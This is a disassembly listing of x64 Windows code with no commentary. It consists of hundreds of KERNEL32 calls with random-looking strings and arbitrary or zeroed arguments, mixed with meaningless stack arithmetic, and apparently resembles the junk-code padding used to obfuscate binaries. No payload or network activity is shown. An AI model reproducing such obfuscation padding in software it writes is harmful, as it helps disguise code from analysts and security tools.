movzx ecx, word [rsp + 0x110c]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xef8], ax
mov rcx, qword [rsp + 0x9570]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rax, qword [rsp + 0x9670]
mov rax, qword [rax]
mov qword [rsp + 0xa000], rax
lea rcx, [rsp + 0x1a468]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov dword [rsp + 0x20b20], 0x11c
mov rax, qword [rsp + 0x9a10]
mov eax, dword [rax]
mov dword [rsp + 0x4768], eax
mov rcx, qword [rsp + 0x9650]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov dword [rsp + 0x20], 0x17c7
mov r9d, 0x118e
mov r8d, 0x24f
mov edx, 0x16b1
mov rcx, qword [rsp + 0x9ea8]
call qword [sym.imp.KERNEL32.dll_LockFile]
mov dword [rsp + 0x49d0], eax
mov rax, qword [rsp + 0x8f10]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x97b8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x9970], rax
movsx eax, byte [rsp + 0x190]
mov rcx, qword [rsp + 0x98a0]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x216], al
mov rax, qword [rsp + 0x9fe0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9170]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x9940]
mov word [rcx], ax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0x9f58], rax
lea rcx, str.CVAwGG_H2_lOi6AFb
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x1114], ax
mov rax, qword [rsp + 0x9848]
mov eax, dword [rax]
mov dword [rsp + 0x4acc], eax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0x9878], rax
movzx eax, byte [rsp + 0x10d]
movzx ecx, byte [rsp + 0x276]
shl eax, cl
mov byte [0x140221339], al
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_IsProcessInJob]
movzx ecx, word [rsp + 0x1008]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x10e4], ax
mov rax, qword [rsp + 0x9628]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9d18]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x1088], ax
mov rax, qword [rsp + 0x9c48]
mov ecx, dword [rsp + 0x4880]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x4a0c], eax
mov rax, qword [rsp + 0x8e18]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x1a3]
xor eax, ecx
mov byte [rsp + 0x5b], al
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8d, 2
mov edx, 0xc0000000
lea rcx, str.bqyM0e60HF0LNzacu6zXvuyxi
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xa008], rax
mov rax, qword [0x14024f2f8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x694]
and eax, ecx
mov word [rsp + 0x1030], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LockResource]
lea rcx, [rsp + 0x9ee8]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov rax, qword [rsp + 0x9fc0]
movzx eax, byte [rax]
mov byte [rsp + 0x291], al
lea rcx, [rsp + 0x1a4f8]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
xor r9d, r9d
lea r8, [rsp + 0x9ca8]
mov rdx, qword [rsp + 0x9610]
mov rcx, qword [rsp + 0xa008]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x4ad0], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LocalCompact]
lea rcx, [rsp + 0x1a588]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov rax, qword [rsp + 0x9a20]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x49f0]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x48a0], eax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0xa010], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetCommTimeouts]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileAttributesExW]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DisableThreadLibraryCalls]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessPriorityBoost]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0xa018], rax
mov rax, qword [rsp + 0x9170]
movzx eax, word [rax]
mov word [rsp + 0x1118], ax
lea rcx, str.ocS1.WySO
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x109c], ax
mov rax, qword [rsp + 0x9ab0]
mov rcx, qword [rsp + 0x7ed0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x94f8], rax
lea rax, [rsp + 0x409c]
mov qword [0x14024f298], rax
mov rax, qword [rsp + 0x9628]
movzx eax, word [rax]
mov rcx, qword [0x14024f3b0]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x9a00]
mov word [rcx], ax
movzx ecx, word [rsp + 0x106c]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x10c0], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetHandleCount]
lea rcx, [rsp + 0xa020]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
movzx ecx, word [rsp + 0xff4]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1014], ax
lea rcx, [rsp + 0x1a4f8]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov rcx, qword [rsp + 0x9bc0]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x4ad4], eax
lea rax, [rsp + 0x276]
mov qword [rsp + 0xa028], rax
mov rax, qword [rsp + 0x7be8]
mov rcx, qword [rsp + 0x97b8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x9208], rax
lea rcx, [rsp + 0x1a3d8]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FindFirstFileExW]
lea rax, [rsp + 0x7cb8]
mov qword [rsp + 0xa030], rax
mov rax, qword [rsp + 0x8ce8]
mov ecx, dword [rsp + 0x49d8]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x9f50]
mov dword [rcx], eax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0x97f8], rax
mov rax, qword [rsp + 0x9ed0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xf74]
sub eax, ecx
mov word [rsp + 0x8b4], ax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0xa038], rax
mov dword [rsp + 0x20], 0x3717
mov r9d, 0x3236
mov r8d, 0x1a47
mov edx, 0x1888
mov rcx, qword [rsp + 0x8b80]
call qword [sym.imp.KERNEL32.dll_UnlockFile]
mov dword [rsp + 0x4a44], eax
lea rcx, [rsp + 0x9278]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateFileMappingW]
mov rax, qword [rsp + 0x9748]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x216]
add eax, ecx
mov byte [rsp + 0xe1], al
movzx eax, byte [rsp + 0x290]
mov rcx, qword [rsp + 0x9a70]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x9730]
mov byte [rcx], al
mov rax, qword [0x14024f298]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x483c]
shr eax, cl
mov rcx, qword [0x14024f310]
mov dword [rcx], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0x96c0]
movzx eax, word [rax]
mov word [rsp + 0x111c], ax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0x9f58], rax
mov rcx, qword [rsp + 0x98f8]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
movzx ecx, word [rsp + 0x1060]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x10b4], ax
mov rax, qword [rsp + 0x9010]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x9bc8]
shl rax, cl
mov qword [rsp + 0x7ed0], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalUnlock]
movzx ecx, word [rsp + 0x1008]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x10d8], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetLastError]
lea rcx, [rsp + 0x1a768]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov rax, qword [rsp + 0x9ff0]
mov rcx, qword [0x14022fb60]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x9b50], rax
mov edx, 0x25a
mov rcx, qword [rsp + 0x9fe8]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x4a20], eax
movzx ecx, word [rsp + 0xff4]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1120], ax
lea rax, [rsp + 0x4970]
mov qword [rsp + 0xa040], rax
movsx eax, word [rsp + 0xc28]
mov rcx, qword [rsp + 0x9fb0]
movsx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x9940]
mov word [rcx], ax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_MapUserPhysicalPagesScatter]
mov rax, qword [rsp + 0x98a0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1fd]
and eax, ecx
mov byte [rsp + 0x159], al
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FlushViewOfFile]
mov rax, qword [rsp + 0x8ce8]
mov ecx, dword [rsp + 0x4a84]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4644], eax
mov rax, qword [rsp + 0xa028]
movzx eax, byte [rax]
movzx ecx, byte [0x14024f3a0]
add eax, ecx
mov rcx, qword [rsp + 0x9640]
mov byte [rcx], al
movzx eax, word [rsp + 0xeec]
mov rcx, qword [rsp + 0x9618]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x14024f338], ax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0x9b48], rax
mov rcx, qword [rsp + 0x98c8]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FlushInstructionCache]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov rax, qword [rsp + 0x9978]
mov qword [rsp + 0xa048], rax
lea rdx, [rsp + 0xa050]
mov rcx, qword [rsp + 0x9b28]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x49b8], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetSystemTimeAdjustment]
mov rax, qword [rsp + 0x9738]
mov rcx, qword [rsp + 0x8850]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x87e0], rax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0x8e38], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FlushInstructionCache]
mov r9d, 0x1504
xor r8d, r8d
lea rdx, [rsp + 0x8df8]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x4ad8], eax
mov rcx, qword [rsp + 0x9aa8]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x4aac], eax
movzx ecx, word [rsp + 0x10f0]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1124], ax
lea rax, [rsp + 0x1a3]
mov qword [rsp + 0xa058], rax
mov rax, qword [rsp + 0x9fc8]
mov ecx, dword [rsp + 0x41e4]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x4074], eax
lea rdx, [rsp + 0x9f88]
mov rcx, qword [rsp + 0x9d48]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x4a60], eax
mov rcx, qword [rsp + 0x99d0]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x4adc], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ReleaseSemaphore]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0x8d48], rax
movzx ecx, word [rsp + 0x106c]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x10a0], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0x97a8]
movzx eax, byte [rax]
mov byte [rsp + 0x292], al
imul eax, dword [rsp + 0x4140], 0x4414bd39
mov dword [rsp + 0x4024], eax
mov rax, qword [rsp + 0x9940]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9bd0]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x9fb0]
mov word [rcx], ax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0x9558], rax
lea rax, [rsp + 0xdac]
mov qword [rsp + 0xa060], rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_PeekNamedPipe]
movzx ecx, word [rsp + 0xf94]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x10c0], ax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x20
mov dword [rsp + 0x20], 2
xor r9d, r9d
mov r8d, 8
mov edx, 0x80000000
lea rcx, str.QauB
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xa068], rax
lea rdx, [rsp + 0x8d10]
mov rcx, qword [rsp + 0x9bb8]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x4a00], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x400
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8d, 8
mov edx, 0x40000000
lea rcx, str.uwV3rHfT5CGlISObsLDK56LbtQ7
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xa070], rax
mov edx, 0x1869
mov rcx, qword [rsp + 0xa038]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x48c4], eax
lea rax, [0x14022103d]
mov qword [0x14024f290], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LocalCompact]
mov r9d, 2
lea r8, [rsp + 0x9ee0]
mov rdx, qword [rsp + 0x9b10]
mov rcx, qword [rsp + 0x93d0]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x4ae0], eax
lea rcx, [rsp + 0x207c0]
call qword [sym.imp.KERNEL32.dll_GetVersionExW]
mov dword [rsp + 0x49a0], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetTapeStatus]
lea rcx, [0x1402315a8]
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x1128], ax
mov rcx, qword [rsp + 0x9598]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x4840], eax
mov dword [rsp + 0x20], 0x32a9
mov r9d, 0x18f9
mov r8d, 0x1075
mov edx, 0xb8f
mov rcx, qword [rsp + 0x9cd8]
call qword [sym.imp.KERNEL32.dll_LockFile]
mov dword [rsp + 0x4a2c], eax
mov rax, qword [rsp + 0x98f0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xfb0]
sub eax, ecx
mov rcx, qword [rsp + 0x9660]
mov word [rcx], ax
lea rcx, [rsp + 0xa078]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
mov rcx, qword [rsp + 0x9d28]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FlushInstructionCache]
movzx ecx, word [rsp + 0x1024]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xfec], ax
mov dword [rsp + 0x20c40], 0x11c
mov rax, qword [rsp + 0x9630]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x46d4]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4070], eax
mov edx, 0x66e
mov rcx, qword [rsp + 0x9710]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x4ab4], eax
mov rax, qword [rsp + 0x9f68]
mov rcx, qword [rsp + 0x9e10]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x9a18], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DecodeSystemPointer]
mov rax, qword [rsp + 0x9c18]
mov rcx, qword [rsp + 0x9ff0]
mov qword [rsp + 0xa080], rcx
movzx ecx, al
mov rax, qword [rsp + 0xa080]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x98b8], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0xa088], rax
mov rax, qword [rsp + 0x9e50]
movzx eax, byte [rax]
mov byte [rsp + 0x293], al
mov rax, qword [rsp + 0x9cd0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9d90]
movsx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x9f10]
mov word [rcx], ax
mov rax, qword [rsp + 0x8ce8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4268]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x4190], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FreeResource]
lea rcx, [rsp + 0x8ee0]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
movzx eax, byte [0x14022103e]
mov rcx, qword [rsp + 0x9a38]
movzx ecx, byte [rcx]
cdq
idiv ecx
mov rcx, qword [rsp + 0x99e0]
mov byte [rcx], al
mov rcx, qword [rsp + 0x9c30]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_PeekNamedPipe]
mov eax, dword [rsp + 0x4968]
mov dword [0x14024f288], eax
lea rcx, [rsp + 0xa090]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
mov rax, qword [rsp + 0x95c8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9330]
mov qword [rsp + 0xa098], rcx
movzx ecx, al
mov rax, qword [rsp + 0xa098]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0x9970], rax
mov r9d, 0x1dd4
xor r8d, r8d
lea rdx, [rsp + 0x9a30]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x49c0], eax
mov dword [rsp + 0x20], 0x29b3
mov r9d, 0x25ee
mov r8d, 0x1b53
mov edx, 0x3b83
mov rcx, qword [rsp + 0x93c0]
call qword [sym.imp.KERNEL32.dll_LockFile]
mov dword [rsp + 0x4978], eax
lea rax, [rsp + 0x600]
mov qword [rsp + 0xa0a0], rax
mov rax, qword [rsp + 0x91f0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9fd0]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9010]
mov qword [rcx], rax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xa0a8], rax
mov r9d, 0xee4
xor r8d, r8d
lea rdx, [rsp + 0x96b0]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x4a90], eax
movzx ecx, word [rsp + 0x1034]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xfd0], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov eax, dword [rsp + 0x4290]
mov dword [rsp + 0x4ae4], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FlushViewOfFile]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0x9600], rax
mov rax, qword [rsp + 0x96a8]
mov ecx, dword [0x14022fb5c]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x48f8], eax
mov rcx, qword [rsp + 0x9678]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
lea rax, [rsp + 0x1084]
mov qword [rsp + 0xa0b0], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
lea rdx, [rsp + 0x97d8]
mov rcx, qword [rsp + 0x9830]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x49fc], eax
mov rax, qword [rsp + 0x93d8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x27b]
add eax, ecx
mov rcx, qword [rsp + 0x9748]
mov byte [rcx], al
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FlushViewOfFile]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x100
mov dword [rsp + 0x20], 5
xor r9d, r9d
mov r8d, 4
mov edx, 0x40000000
lea rcx, str.mQsnUO33DquyYsH
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xa0b8], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DecodeSystemPointer]
lea rcx, [rsp + 0x9278]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov rcx, qword [rsp + 0x98f8]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x49b8], eax
lea rcx, [rsp + 0x1a798]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0x9648], rax
lea rdx, [rsp + 0x9ec8]
mov rcx, qword [rsp + 0x93d0]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x4a00], eax
movzx eax, word [0x14024f338]
movzx ecx, word [rsp + 0xfc4]
sub eax, ecx
mov word [rsp + 0xdac], ax
movzx eax, byte [rsp + 0x280]
mov rcx, qword [rsp + 0x9c20]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [0x140221038], al
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov qword [rsp + 0x20], 0
mov r9d, 0x331a
mov r8d, 0x874
mov edx, reloc.COMCTL32.dll_DrawInsert
mov rcx, qword [rsp + 0x97c0]
call qword [sym.imp.KERNEL32.dll_UnlockFileEx]
mov dword [rsp + 0x4aa4], eax
lea rax, [rsp + 0x9c18]
mov qword [rsp + 0xa0c0], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DisconnectNamedPipe]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0xa0c8], rax
movzx ecx, word [rsp + 0xff8]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xfec], ax
xor r9d, r9d
lea r8, [rsp + 0x9790]
mov rdx, qword [rsp + 0xa0d0]
mov rcx, qword [rsp + 0x9b58]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x47a0], eax
mov rax, qword [rsp + 0x9c20]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x276]
add eax, ecx
mov rcx, qword [rsp + 0x8f18]
mov byte [rcx], al
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetCommTimeouts]
movzx ecx, word [rsp + 0xf08]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xee4], ax
lea rax, [rsp + 0x474c]
mov qword [rsp + 0xa0d8], rax
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x19b0
mov r9d, 0x2756
mov r8d, 0x18cee591
mov edx, 1
mov rcx, qword [rsp + 0x9dc0]
call qword [sym.imp.KERNEL32.dll_LockFileEx]
mov dword [rsp + 0x4ae8], eax
mov rax, qword [rsp + 0x98f0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xf2c]
and eax, ecx
mov word [rsp + 0xf04], ax
mov rax, qword [rsp + 0x9fa8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4988]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x44d8], eax
mov rcx, qword [rsp + 0x9b98]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
lea rdx, [rsp + 0x8d40]
mov rcx, qword [rsp + 0x97e8]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x482c], eax
movzx eax, byte [rsp + 0x189]
mov byte [rsp + 0x294], al
mov rax, qword [rsp + 0x9940]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9fb0]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xf70], ax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0xa0e0], rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetInformationJobObject]
lea rax, [rsp + 0x8650]
mov qword [rsp + 0xa0e8], rax
mov rax, qword [rsp + 0x9780]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9820]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x5cc], ax
mov rcx, qword [rsp + 0x9580]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
lea rcx, [rsp + 0x9b08]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
lea rcx, str.UEI57Yc.qL4yQa20N5YUj
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x112c], ax
mov rax, qword [rsp + 0x9ac8]
mov ecx, dword [rsp + 0x490c]
mov eax, dword [rax]
xor eax, ecx
mov dword [0x14024f2f0], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LockResource]
mov rax, qword [rsp + 0x8e78]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x8f18]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x14c], al
lea rcx, [rsp + 0x1a5e8]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov rax, qword [rsp + 0x9010]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xa048]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x8538], rax
lea rcx, [rsp + 0x9a78]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FlushFileBuffers]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
movzx ecx, word [rsp + 0xfa8]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1004], ax
mov rax, qword [rsp + 0x9978]
movzx ecx, al
mov rax, qword [rsp + 0x9f78]
shl rax, cl
mov qword [rsp + 0x9b50], rax
movzx eax, word [rsp + 0xf84]
mov word [rsp + 0x1130], ax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetHandleInformation]
mov rcx, qword [rsp + 0x8f70]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x4aec], eax
movzx ecx, word [rsp + 0xf18]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x10dc], ax
movsx eax, byte [rsp + 0x288]
mov rcx, qword [rsp + 0x9d40]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x255], al
lea rcx, [rsp + 0x20a00]
call qword [sym.imp.KERNEL32.dll_GetVersionExW]
mov dword [rsp + 0x4a50], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0xa0f0], rax
movzx ecx, word [rsp + 0x1010]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xee8], ax
mov rcx, qword [rsp + 0x8d00]
